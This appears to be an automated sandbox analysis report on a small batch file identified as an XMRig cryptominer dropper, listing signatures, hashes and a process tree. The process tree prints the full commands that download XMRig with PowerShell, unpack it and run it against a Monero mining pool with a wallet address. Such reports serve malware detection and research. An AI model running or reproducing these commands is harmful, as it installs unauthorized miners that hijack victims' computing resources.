Analysis

  • max time kernel
    447s
  • max time network
    1167s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    21-12-2024 15:11

General

  • Target

    s.bat

  • Size

    1KB

  • MD5

    f9e0161fac70cf9d9935e2f8d1f1891e

  • SHA1

    a6a1efcdb0c9dc7dee578400e7b3e7fc7eda50cc

  • SHA256

    1572be5be48b2559b80405a61761e6377ceb81c4b67ffeeeaa9a9819b9e5716a

  • SHA512

    e5a2fad1a1b002620dc9d85bf6c041527cb614d9bacaa010f152d3bf39ca8838c55aec18534c19283f751645879b9c1cb7fe7567820093d7ada609a06d893bcf

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\s.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3628
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip -OutFile C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\xmrig"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2584
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c echo 14
      2⤵
        PID:4344
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c echo 2
        2⤵
          PID:3180
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c echo 27
          2⤵
            PID:5008
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c echo 19
            2⤵
              PID:2132
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c echo 29
              2⤵
                PID:3228
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c echo 15
                2⤵
                  PID:2808
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c echo 33
                  2⤵
                    PID:2008
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c echo 5
                    2⤵
                      PID:5036
                    • C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe
                      "C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe" --donate-level 1 -o de.monero.herominers.com:1111 -u solo:46snjQGRP7EaVq5ByVkqeeQhDoNXfpLgeVUfyafhuoan4SdE6Sn3BVs4C4hykg6y3yWK5w1prCjx84nYs7egieBuAEG2YUX -p p1_ -a rx/0 -k
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of FindShellTrayWindow
                      PID:4360

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                    Filesize

                    2KB

                    MD5

                    5f4c933102a824f41e258078e34165a7

                    SHA1

                    d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

                    SHA256

                    d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

                    SHA512

                    a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                    Filesize

                    1KB

                    MD5

                    2c99718f7a80a0d6647e3956d1e34a34

                    SHA1

                    bd3ce4a8cc86d6ca1f235cd9488898c3c4f2c9dc

                    SHA256

                    a358ae50ff760a1515b8181ffcbea3eef84008b58e4743fe59bd0a6d645cc6f6

                    SHA512

                    cabc89afe579eeab0278eac5821f9a360787bc7445f73970e009eff4a54839cf5462164aac6b753798c1553fc55026c7951aae55cfadc0c1b31e58631a980ef9

                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k0r15ro2.qjf.ps1

                    Filesize

                    60B

                    MD5

                    d17fe0a3f47be24a6453e9ef58c94641

                    SHA1

                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                    SHA256

                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                    SHA512

                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip

                    Filesize

                    2.5MB

                    MD5

                    57b7ab5bce7d5e47fd168e1f0d437d32

                    SHA1

                    050eeae3e0f0e876f9da175347b586871d14fe83

                    SHA256

                    1d903d39c7e4e1706c32c44721d6a6c851aa8c4c10df1479478ee93cd67301bc

                    SHA512

                    8cc6e3e0e78f706172a47bef261e1d73ce882ce531fe51177ba46cee659128e2115311d348ca07a717ff737e4bc802c7ca4cc57de716cbe55202b9482b5e2022

                  • C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe

                    Filesize

                    6.1MB

                    MD5

                    f6d520ae125f03056c4646c508218d16

                    SHA1

                    f65e63d14dd57eadb262deaa2b1a8a965a2a962c

                    SHA256

                    d2fcf28897ddc2137141d838b734664ff7592e03fcd467a433a51cb4976b4fb1

                    SHA512

                    d1ec3da141ce504993a0cbf8ea4b719ffa40a2be4941c18ffc64ec3f71435f7bddadda6032ec0ae6cada66226ee39a2012079ed318df389c7c6584ad3e1c334d

                  • memory/1756-9-0x0000029E2C070000-0x0000029E2C092000-memory.dmp

                    Filesize

                    136KB

                  • memory/1756-10-0x00007FF9166B0000-0x00007FF917172000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/1756-11-0x00007FF9166B0000-0x00007FF917172000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/1756-12-0x00007FF9166B0000-0x00007FF917172000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/1756-16-0x00007FF9166B0000-0x00007FF917172000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/1756-0-0x00007FF9166B3000-0x00007FF9166B5000-memory.dmp

                    Filesize

                    8KB

                  • memory/2584-18-0x00007FF9166B0000-0x00007FF917172000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/2584-30-0x00007FF9166B0000-0x00007FF917172000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/2584-32-0x0000024D6EEB0000-0x0000024D6EEBA000-memory.dmp

                    Filesize

                    40KB

                  • memory/2584-31-0x0000024D6EED0000-0x0000024D6EEE2000-memory.dmp

                    Filesize

                    72KB

                  • memory/2584-29-0x00007FF9166B0000-0x00007FF917172000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/2584-55-0x00007FF9166B0000-0x00007FF917172000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/2584-27-0x00007FF9166B0000-0x00007FF917172000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/4360-59-0x000002D839010000-0x000002D839030000-memory.dmp

                    Filesize

                    128KB